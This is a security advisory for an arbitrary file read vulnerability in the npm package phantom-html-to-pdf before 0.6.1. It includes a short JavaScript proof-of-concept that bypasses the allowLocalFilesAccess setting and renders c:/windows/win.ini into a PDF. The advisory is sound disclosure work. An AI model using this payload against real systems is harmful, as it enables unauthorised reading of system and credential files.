GHSA-6h7f-qwqm-35ppHighCVSS 7.5

Arbitrary File Read in phantom-html-to-pdf

Published
November 6, 2020
Last Modified
September 7, 2023

🔗 CVE IDs covered (1)

📋 Description

This affects the package phantom-html-to-pdf before 0.6.1.

PoC

var fs = require('fs') var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false conversion({
    html: "document.write(window.location='c:/windows/win.ini')"
}, function(err, pdf) {
    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);
    console.log(pdf.numberOfPages);
    pdf.stream.pipe(output);
});

🎯 Affected products1

  • npm/phantom-html-to-pdf:< 0.6.1

🔗 References (5)